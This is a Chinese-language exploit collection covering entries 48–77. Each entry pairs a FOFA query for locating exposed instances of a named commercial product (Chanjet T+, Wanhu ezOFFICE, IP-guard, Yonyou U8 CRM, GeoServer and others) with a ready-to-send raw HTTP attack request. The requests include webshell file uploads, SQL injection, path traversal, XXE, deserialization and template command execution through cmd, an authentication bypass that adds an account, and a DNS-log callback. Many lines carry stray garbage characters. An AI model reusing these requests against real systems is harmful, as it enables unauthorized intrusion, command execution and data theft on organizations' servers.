; l6 q( O$ E# y( P1 O$ K; mPOST /ajax/swfupload.php?DontCheckLogin=1&vname=file HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
$ e. d5 l2 l  W; ~( ^- p5 W/ n7 CAccept-Encoding: gzip, deflate
4 Y+ x- \! Y% m" g2 B' M$ h. E3 ZContent-Type: multipart/form-data;boundary=----269520967239406871642430066855
------269520967239406871642430066855
: Z1 X9 V. s  ?* g6 qContent-Disposition: form-data; name="file"; filename="s.php"
1231
# {2 A5 f: P0 ?& C9 H: z! HContent-Type: application/octet-stream
------269520967239406871642430066855
% ^6 S9 C" U' t( N+ [0 `Content-Disposition: form-data; name="upload"
upload
------269520967239406871642430066855--
; O4 m/ A2 P2 [) k
( m% N6 [! M, a! ~& g- V
  S: G2 l6 e( L49. 用友U8 CRM系统uploadfile.php接口任意文件上传
/ y9 `$ f: X7 Q/ T* A2 oFOFA：body="用友U8CRM"

& u! p, d8 I/ K- U  oPOST /ajax/uploadfile.php?DontCheckLogin=1&vname=file HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Content-Length: 329
: {# d- q/ o+ J& l* {, f) [Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
1 }' g- ^" x; J! L& Y" eAccept-Encoding: gzip, deflate
! _6 a7 k/ b1 f" K8 gAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
+ @9 [+ c9 `  zConnection: close
" H5 E% i/ l% a% ~; CContent-Type: multipart/form-data; boundary=---------------------------vvv3wdayqv3yppdxvn3w

7 F) v6 n4 C0 I2 R  Q0 D& o-----------------------------vvv3wdayqv3yppdxvn3w
Content-Disposition: form-data; name="file"; filename="%s.php "
Content-Type: application/octet-stream

% J2 Z1 Q/ l3 y' Kwersqqmlumloqa
-----------------------------vvv3wdayqv3yppdxvn3w
" f( Y+ l( Y) W- _# x0 ?( s8 N4 VContent-Disposition: form-data; name="upload"
+ g3 y( x8 j4 a; W5 R+ K3 A
upload
-----------------------------vvv3wdayqv3yppdxvn3w--


http://x.x.x.x/tmpfile/updB3CB.tmp.php
" X7 K- }& I) X9 e: o
! U# p  H/ ]  p7 J9 o. w9 C50. QDocs Smart School 6.4.1 filterRecords SQL注入
FOFA：body="close closebtnmodal"
POST /course/filterRecords/ HTTP/1.1
Host: x.x.x.x
3 F7 I8 b% T! i* b, ~$ NUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
- N; k- E  T# W9 Y3 o& ^Connection: close
Content-Length: 224
Accept: */*
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

searchdata[0][title]=&searchdata[0][searchfield]=1&searchdata[0][searchvalue]=1&searchdata[1][title]=1&searchdata[1][searchfield]=1=1 and extractvalue(1,concat(0x5e,(select md5(123456)),0x5e))%23&searchdata[1][searchvalue]=1


  A  c3 l7 o) n8 g7 s% X" _51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
9 e. }- X7 u5 m! }1 M0 W; iFOFA：app="云时空社会化商业ERP系统"
. r: h9 |  ~# m* E: G7 e5 {/ gGET /sys/user/validateLoginName?loginName=admin'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
6 d. I3 V* r: F6 w6 F7 l0 F' JHost: your-ip
# A; C2 r! ^8 v. z% X$ ?User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
  S  N2 {  V' Z, T# T7 t, Q7 uAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
- G3 N2 D7 X7 ~7 o& O9 a3 eAccept-Language: zh-CN,zh;q=0.9
Connection: close


5 I" q+ ~" P' ~/ e52. 泛微E-Office json_common.php sql注入
$ E# W8 |3 T+ z0 ~' Q( f1 ~FOFA：app="泛微-EOffice"
3 m% D+ T5 @* ?6 I( mPOST /building/json_common.php HTTP/1.1
5 F* A* q' u  IHost: 192.168.86.128:8097
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
Content-Length: 87
& ^% f" i/ \# ^) r! `% IAccept: */*
Accept-Language: en
8 y  o; q! h! S/ i. XContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
7 p; D& f+ i0 n: l: j6 {
6 O  K3 j% |3 u% z8 i9 O, ctfs=city` where cityId =-1 /*!50000union*/ /*!50000select*/1,2,md5(102103122) ,4#|2|333
" K) V  z2 Y1 ~4 X: b) v

53. 迪普 DPTech VPN Service 任意文件上传
9 P- V9 s' N7 L4 ^. _FOFA：app="DPtech-SSLVPN"
/..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd

7 Q, a2 W4 g  h5 J' f" y2 Y
" D! A7 j" y: ?" Y54. 畅捷通T+ getstorewarehousebystore 远程代码执行
, R% R, j( d) ?. fFOFA：app="畅捷通-TPlus"
第一步，向目标发送数据包，执行命令，将指定字符串写入指定文件
3 e, S/ L. r& J; p; G! l$ ["/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"
  a6 m  a  B2 |3 L4 V

# z% i' N* u4 d3 b完整数据包
( J. Z# U6 W3 @* Y" rPOST /tplus/ajaxpro/Ufida.T.CodeBehind._PriorityLevel,App_Code.ashx?method=GetStoreWarehouseByStore HTTP/1.1
( E4 _5 j* c) s# y$ r4 e2 v6 cHost: x.x.x.x
; r' q7 u# a0 N' g( T; ^User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/4E423F
; d; A$ @/ l' ]+ B- A& z4 TContent-Length: 593

{
"storeID":{
/ z! q" O/ G' p "__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
, l# Q  t- ]% k9 k "MethodName":"Start",
" X* _$ s6 b+ X1 W% x& L) z  "ObjectInstance":{
& O" A; R5 J% ^+ k% G5 F7 z   "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
( |5 ?4 x, k6 ^0 k  g! O/ F+ h" z1 `* G    "StartInfo":{
   "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
    "FileName":"cmd",
    "Arguments":"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"
    }
8 V5 J6 L! N5 m" X, S" f- f: o; y  }
  }
}
" E6 S& o; ?6 A
/ c' P6 x% P/ |" P* a! F
9 q: g0 [' n( Z+ _& l8 ?6 G7 N7 p) {; H' w第二步，访问如下url
/tplus/.2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt


55. 畅捷通T+ getdecallusers信息泄露
5 n7 `. Y# o- \, F9 F) I. ^! x  CFOFA：app="畅捷通-TPlus"
第一步，通过
8 C% Q# n! H" b/tplus/ajaxpro/Ufida.T.SM.Login.UIP.LoginManager,Ufida.T.SM.Login.UIP.ashx?method=CheckPassword接口获取Cookie
第二步，利用获取到的Cookie请求
8 Q2 I6 U5 I2 m! p; \2 \, c7 D! s/tplus/sm/privilege/ajaxpro/Ufida.T.SM.UIP.Privilege.PreviligeControl,Ufida.T.SM.UIP.ashx?method=GetDecAllUsers

56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
FOFA: app="畅捷通-TPlus"
POST /tplus/ajaxpro/Ufida.T.DI.UIP.RRA.RRATableController,Ufida.T.DI.UIP.ashx?method=GetStoreWarehouseByStore HTTP/1.1
* o# Y) y8 r: |" ~9 RHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
* M5 B* n  A4 ]8 \5 d& qContent-Type: application/json

7 X/ [; V8 ]+ M9 n# m9 m0 A  p- J{
# x$ T% c0 x0 B& @3 X* U  "storeID":{
    "__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
' i4 f, A1 }: ~7 X) s' I' ]7 V7 V   "MethodName":"Start",
    "ObjectInstance":{
       "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
% c* l( y5 M  i" h$ k        "StartInfo": {
           "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
/ o* {& @7 C+ T0 M' o6 M           "FileName":"cmd", "Arguments":"/c ping 6qevyvmi.dnslog.pw"
       }
    }
2 o& e# T) P8 q; W4 Y  }
5 A. W% Z% U! T$ l9 \}


2 h. S& |1 \4 a0 @4 W4 w57. 畅捷通T+ keyEdit.aspx SQL注入
; a$ J3 W6 ]$ W' GFOFA：app="畅捷通-TPlus"
GET /tplus/UFAQD/keyEdit.aspx?KeyID=1%27%20and%201=(select%20@@version)%20--&preload=1 HTTP/1.1
+ s5 X$ x0 i# e/ eHost: host
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
. ^5 m+ R  x- E- J! |+ k6 r& uAccept-Charset: utf-8
Accept-Encoding: gzip, deflate
Connection: close
( s  n6 d% R5 h2 y+ [* c# E
, Y. `' J& o" p$ G" k
4 {* i7 ~( }4 _9 ~+ n/ J58. 畅捷通T+ KeyInfoList.aspx sql注入
3 T% Y9 U( V, s9 I+ D! T8 G! IFOFA：app="畅捷通-TPlus"
* F& G' S; r  i6 r% J. E& R: i( MGET /tplus/UFAQD/KeyInfoList.aspx?preload=1&zt=')AND+1+IN+(SELECT+sys.fn_varbintohexstr(hashbytes('MD5','123456')))--+ HTTP/1.1
Host: your-ip
; m% g) K8 U3 N: z4 xUser-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
/ f" `/ X# e, r  `Accept-Encoding: gzip, deflate
Connection: close


59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
FOFA: title="@XETUX" && title="XPOS" && body="BackEnd"
) k+ B! \+ q+ J# K1 zPOST /xc-one-pos/javax.faces.resource/dynamiccontent.properties.xhtml HTTP/1.1
& H8 L" q9 x$ j( ZHost: 192.168.86.128:9090
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
Connection: close
! U+ M' }3 y4 [; a% kContent-Length: 1669
: A+ j' ^3 [$ N! [Accept: */*
Accept-Language: en
6 z: ]' Y: U& P( ?, e/ BContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
/ r( g! U' W6 Z# p
. e: P+ N; \) d6 Q0 P8 K! APAYLOAD
' h% f2 ~9 Q2 v4 l0 N

! n" E0 g% @7 V7 X60. 百卓Smart管理平台 importexport.php SQL注入
FOFA：title="Smart管理平台"
( u  a* Y+ t: w. b5 h9 vGET /importexport.php?sql=c2VsZWN0IDEsdXNlcigpLDM=&type=exportexcelbysql HTTP/1.1
+ J( u/ D5 p' V/ \Host:
7 s5 e: [* b" U. |8 i& ~4 y6 b) IUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
4 R# l' r" y' R" g) O. ^% yAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
* u$ R6 G' v: l8 a+ f& z- J8 t5 _Accept-Language: zh-CN,zh;q=0.9
- U5 x  }3 H2 u, ^0 ^Connection: close


3 t8 M  |5 o. r) v# l) c# ]61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
FOFA: title="欢迎使用浙大恩特客户资源管理系统"
( ^" r5 R, z% G0 ?2 }6 }POST /entsoft_en/entereditor/jsp/fileupload.jsp?filename=8uxssX66eqrqtKObcVa0kid98xa.jsp HTTP/1.1
* w$ h9 v$ K8 G0 ^- |* q# F' i( S. kHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
$ U6 t# V2 G1 \4 W7 W( J' vContent-Length: 27
Accept: */*
Accept-Encoding: gzip, deflate
: C( s3 H5 Y  F$ r# t3 NAccept-Language: en
Content-Type: application/x-www-form-urlencoded

8uxssX66eqrqtKObcVa0kid98xa


62. IP-guard WebServer 远程命令执行
FOFA："IP-guard" && icon_hash="2030860561"
GET /ipg/static/appr/lib/flexpaper/php/view.php?doc=11.jpg&format=swf&isSplit=true&page=||echo+"09kdujzKJDLinkQTLfGzMMKDJ23HJ"+>09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
2 d8 N5 B2 V7 F/ @Host: x.x.x.x
  z0 k  k4 U- a) i( yUser-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2919.83 Safari/537.36
$ f0 _2 e; b. B5 f( L  G3 R+ ^) mConnection: close
Accept: */*
Accept-Language: en
) L8 `- `4 n8 k) M( Z  t0 dAccept-Encoding: gzip
$ P( N' q$ P; w: R& P1 ], I1 Z* E
8 s! h  S+ R; g) D
4 Z. P3 U4 i4 x5 F访问
3 E& m- L8 h. q. _8 l* {
GET /ipg/static/appr/lib/flexpaper/php/09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
8 I( N7 ^" \8 q# _! _8 d; ?Host: x.x.x.x

( z' Y) C* a4 k" r/ p
3 t9 ~% x( m& A; b' {' |2 g' k63. IP-guard WebServer任意文件读取
3 a6 Z" n* s4 L! R! aIP-guard < 4.82.0609.0
FOFA：icon_hash="2030860561"
" e, J6 H( G$ h1 R4 xPOST /ipg/appr/MApplyList/downloadFile_client/getdatarecord HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
( B. \8 j9 N  j" q" G) oAccept-Language: zh-CN,zh;q=0.9
/ \7 Q% d4 w; R/ q  k. N0 KConnection: close
3 ?7 \6 q* y0 [- ?5 D1 tContent-Type: application/x-www-form-urlencoded

path=..%2Fconfig.ini&filename=1&action=download&hidGuid=1v%0D%0A
% |0 ~1 H. \' L
64. 捷诚管理信息系统CWSFinanceCommon SQL注入
9 G& O( F# O2 H' v- l0 mFOFA：body="/Scripts/EnjoyMsg.js"
0 i6 ?8 Q0 C# d6 B5 a4 n' MPOST /EnjoyRMIS_WS/WS/APS/CWSFinanceCommon.asmx HTTP/1.1
Host: 192.168.86.128:9001
+ v7 U( c1 k( W2 {7 d/ G4 MUser-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36
Connection: close
Content-Length: 369
Accept: */*
Accept-Language: en
) y5 x5 x, ~3 |2 Z& ?! l' X! vContent-Type: text/xml; charset=utf-8
4 s8 Q- y! r' f0 HAccept-Encoding: gzip

( S- \" f9 E  m8 s/ M+ T<?xml version="1.0" encoding="utf-8"?>
1 s3 u1 s- _; b, T<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
0 P: C$ i9 y' w; n6 C6 y" h<soap:Body>
    <GetOSpById xmlns="http://tempuri.org/">
      <sId>1';waitfor delay '0:0:5'--+</sId>
    </GetOSpById>
  </soap:Body>
</soap:Envelope>
( r& m2 w( p) ?' ?

65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
FOFA：title="欢迎使用脸爱云 一脸通智慧管理平台"
响应200即成功创建账号test123456/123456
5 l- D* F$ U, A3 [" r( fPOST /SystemMng.ashx HTTP/1.1
Host:
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
& u5 [* Z2 s6 G$ WAccept-Encoding: gzip, deflate
: q5 X7 n- \/ MAccept: */*
Connection: close
Accept-Language: en
$ O) K/ v  L0 ?8 j- D  U; @' @Content-Length: 174
7 k! l+ j) N4 ~& V
operatorName=test123456&operatorPwd=123456&operpassword=123456&operatorRole=00&visible_jh=%E8%AF%B7%E9%80%89%E6%8B%A9&visible_dorm=%E8%AF%B7%E9%80%89%E6%8B%A9&funcName=addOperators

9 p) _- W' L9 Y. K7 t% l
: `8 ?8 d# s5 Y" W) d+ P: G66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
: L% ^9 Q' {$ J/ aFOFA：app="万户ezOFFICE协同管理平台"

8 R3 j1 N4 g$ q1 j6 nGET /defaultroot/public/iWebOfficeSign/Template/SendFileCheckTemplateEdit.jsp?RecordID=1'%20UNION%20ALL%20SELECT%20sys.fn_sqlvarbasetostr(HashBytes(%27MD5%27,%27102103122%27))%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL-- HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
( r8 F& h9 I+ U% S( tAccept-Encoding: gzip
. F" L. `8 C. I! U3 n
2 X9 d' e( J) g- m  I: a4 u
第42,43行包含6cfe798ba8e5b85feb50164c59f4bec9字符串证明漏洞存在

67. 万户ezOFFICE wpsservlet任意文件上传
7 k4 n8 ~2 B3 @. _! z. gFOFA：app="万户网络-ezOFFICE"
newdocId和filename参数表示写入文件名称，dir参数表示写入文件的路径，fileType参数表示文件类型
9 O  `" G) P) PPOST /defaultroot/wpsservlet?option=saveNewFile&newdocId=apoxkq&dir=../platform/portal/layout/&fileType=.jsp HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
* e0 y. z3 K! f6 HContent-Length: 173
) a: X( l. k6 p  H  N6 IAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate
' P% [9 r: c- f& ?# {Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Connection: close
Content-Type: multipart/form-data; boundary=ufuadpxathqvxfqnuyuqaozvseiueerp
DNT: 1
- {& J% {& L0 Q+ c. q' uUpgrade-Insecure-Requests: 1
0 k% k. X* s3 b
- {* J9 K! u$ ?. Z! \--ufuadpxathqvxfqnuyuqaozvseiueerp
0 }6 X3 d; R0 k3 mContent-Disposition: form-data; name="NewFile"; filename="apoxkq.jsp"
* R' ^& ?% Q% h2 a: M5 v2 ~% R
, `: m) K* I3 G; s<% out.print("sasdfghjkj");%>
--ufuadpxathqvxfqnuyuqaozvseiueerp--


文件回显路径为/defaultroot/platform/portal/layout/apoxkq.jsp

9 L' c/ @& }2 W0 C* k  o  w! Q68. 万户ezOFFICE wf_printnum.jsp SQL注入
FOFA：app="万户ezOFFICE协同管理平台"
7 A9 U, c+ i  s- `! X8 fGET /defaultroot/platform/bpm/work_flow/operate/wf_printnum.jsp;.js?recordId=1;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
) H1 ]' J# D' L# A2 }Host: {{host}}
" x: I3 }/ T' k+ x! p/ lUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Safari/537.36
Accept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
) m2 {- p3 K4 s# p0 _' }Accept-Encoding: gzip, deflate
) N8 G- l9 Q0 ]3 R/ p+ k+ n1 qAccept-Language: zh-CN,zh;q=0.9
Connection: close
" q$ `% s9 U' r7 @- J
  l/ C# d/ k" U8 |: e
69. 万户 ezOFFICE contract_gd.jsp SQL注入
FOFA：app="万户ezOFFICE协同管理平台"
GET /defaultroot/modules/subsidiary/contract/contract_gd.jsp;.js?gd=1&gd_startUserCode=1%27%3Bwaitfor%20delay%20%270%3A0%3A5%27-- HTTP/1.1
Host: your-ip
4 w# y# |! ]9 }- @3 y# VUser-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
3 R3 V7 O* U# |: n6 z8 mAccept-Encoding: gzip, deflate
" x. N/ {  e; h- ~& u" }Accept: */*
) _3 V( p* M8 v0 n' Q6 _Connection: keep-alive
3 c  B3 r' W6 I! ]2 O0 W& H9 _
, v4 @) S( Q/ v; L4 e, Z) N
70. 万户ezEIP success 命令执行
FOFA：app="万户网络-ezEIP"
5 L: ^1 w/ L+ k0 @' U2 T/ T+ HPOST /member/success.aspx HTTP/1.1
  [% l; A4 M0 D2 `9 A% w. ]% x  LHost: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
SID: dHlwZSBDOlxXaW5kb3dzXHdpbi5pbmk=
! H% ^5 D5 X9 h# ?+ E6 r' VContent-Type: application/x-www-form-urlencoded
) v4 n3 i6 A& ~7 yTYPE: C
Content-Length: 16702

: |* V2 O2 p% Z8 b. B__VIEWSTATE=PAYLOAD
0 W& ^! ^5 R) _2 |
; I. e6 O6 M$ W7 t
% k5 E2 g' w* t5 F9 s71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
FOFA：body="PM2项目管理系统BS版增强工具.zip"
GET /Global/Global_UserLogin.aspx?accId=1%27%3BWAITFOR+DELAY+%270%3A0%3A5%27--&loginCode&password&type HTTP/1.1
Host: x.x.x.xx.x.x.x
* x6 ]& l- l+ j) f! b5 W( RUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
Connection: close
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
1 C8 |' G; m0 ]* A# B; RAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
; I1 c7 J  y' y# |Upgrade-Insecure-Requests: 1

  N2 d3 T3 I3 Y2 f! {8 S. r
# i& z" n: Q) f" Y5 g' L9 F+ G7 j8 x72. 致远OA getAjaxDataServlet XXE
  N% f/ n* U# u, `4 K( o. TFOFA：app="致远互联-OA"
# u& B; c6 _5 oPOST /seeyon/m-signature/RunSignature/run/getAjaxDataServlet HTTP/1.1
, c- O, Z1 W6 QHost: 192.168.40.131:8099
User-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
Connection: close
" K$ ^, R8 U! N+ G, N% m  RContent-Length: 583
% ~( R0 T0 o) ~/ \* _/ zContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

1 Z4 M4 k+ B9 E! G9 mS=ajaxColManager&M=colDelLock&imgvalue=lr7V9+0XCEhZ5KUijesavRASMmpz%2FJcFgNqW4G2x63IPfOy%3DYudDQ1bnHT8BLtwokmb%2Fk&signwidth=4.0&signheight=4.0&xmlValue=%3C%3Fxml+version%3D%221.0%22%3F%3E%0D%0A%3C%21DOCTYPE+foo+%5B%0D%0A++%3C%21ELEMENT+foo+ANY+%3E%0D%0A++%3C%21ENTITY+xxe+SYSTEM+%22file%3A%2F%2F%2Fc%3A%2Fwindows%2Fwin.ini%22+%3E%0D%0A%55D%3E%0D%0A%3CSignature%3E%3CField%3E%3Ca+Index%3D%22ProtectItem%22%3Etrue%3C%2Fa%3E%3Cb+Index%3D%22Caption%22%3Ecaption%3C%2Fb%3E%3Cc+Index%3D%22ID%22%3Eid%3C%2Fc%3E%3Cdd+Index%3D%22VALUE%22%3E%26xxe%3B%3C%2Fd%3E%3C%2FField%3E%3C%2FSignature%3E
# I4 Y: f; X# ~
1 i* a1 V  {" i. f- }+ Z  Y
8 s, d2 R$ t( R  b73. GeoServer wms远程代码执行
/ i, k$ F/ ~! q0 ~: n# k* Y: JFOFA：icon_hash=”97540678”
+ {8 X0 \0 r- A6 \& {POST /geoserver/wms HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Content-Length: 1981
Accept-Encoding: gzip, deflate
* Q/ o8 X7 C9 V) YConnection: close
5 t% r5 V3 Y0 w/ W% `0 AContent-Type: application/xml
9 `- I; s2 C1 y2 ~SL-CE-SUID: 3
! ~8 t; p! [; ?) b) H+ x
, y/ \# r6 s* ]5 K' q5 KPAYLOAD
. [( e$ @* z2 `5 m" a

6 l$ x# C6 W% k2 O74. 致远M3-server 6_1sp1 反序列化RCE
, [& v+ m9 a6 }% e( U# l; O) W' WFOFA：title="M3-Server"
9 W0 M8 `2 V5 j9 d  X, N5 l7 qPAYLOAD
' ^9 n1 D4 E8 R' H$ ]# M
75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
" ~; G6 Q; E0 \% K3 j) R2 IFOFA：app="TELESQUARE-TLR-2005KSH"
9 l1 d, [" r1 O1 [  P/ AGET /cgi-bin/admin.cgi?Command=setSyncTimeHost&time=`ifconfig>test28256.txt` HTTP/1.1
0 C5 B5 j# G7 h9 x) J/ N7 [Host: x.x.x.x
" C1 d% r: ~( U& z% d7 qUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Connection: close
! h4 X2 Q2 J! D3 u- S0 [Accept: */*
& P$ ]# h, w( j/ oAccept-Language: en
Accept-Encoding: gzip


% P2 V: l  ?( TGET /cgi-bin/test28256.txt HTTP/1.1
Host: x.x.x.x

6 V$ m" w3 y, S) K: D
1 u1 e' {; n1 A& M6 e76. 新开普掌上校园服务管理平台service.action远程命令执行
FOFA：title="掌上校园服务管理平台"
6 F3 x) X( m( rPOST /service_transport/service.action HTTP/1.1
- K* y7 ^  r0 q2 `0 m5 o2 N0 C/ FHost: x.x.x.x
3 t# M4 {, w: \+ \+ U, u" {' j7 KUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
; a8 j: J% I+ q0 rConnection: close
Content-Length: 211
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
$ S$ X  ~- y! W0 }7 L$ ~Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Cookie: JSESSIONID=6A13B163B0FA9A5F8FE53D4153AC13A4
Upgrade-Insecure-Requests: 1
- `" a% K' d. [+ n4 B
{
1 K6 J0 b0 L" q3 p, _"command": "GetFZinfo",
  "UnitCode": "<#assign ex = \"freemarker.template.utility.Execute\"
  ?new()>${ex(\"cmd /c echo 9d8ajikdujw8ejd9wjdfkfu8 >./webapps/ROOT/9d8ajikdujw8ejd9wjdfkfu8.txt\")}"
7 `2 d# V' X$ K8 a: [6 k}


. G4 U! Q9 \; v) o* FGET /9d8ajikdujw8ejd9wjdfkfu8.txt HTTP/1.1
8 l# q# P$ I% m6 sHost: x.x.x.x


) A$ H+ E* k3 p  Q' E. n' n9 y
77. F22服装管理软件系统UploadHandler.ashx任意文件上传
  Z7 k, w% Y* _" {2 y$ q3 g0 xFOFA：body="F22WEB登陆"
POST /CuteSoft_Client/UploadHandler.ashx HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Connection: close
& L0 S9 f6 H9 r- B: m; IContent-Length: 433
: d+ z* w8 p# L& uAccept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Type: multipart/form-data; boundary=----------398jnjVTTlDVXHlE7yYnfwBoix

; A4 E$ q8 |8 R+ _) z------------398jnjVTTlDVXHlE7yYnfwBoix
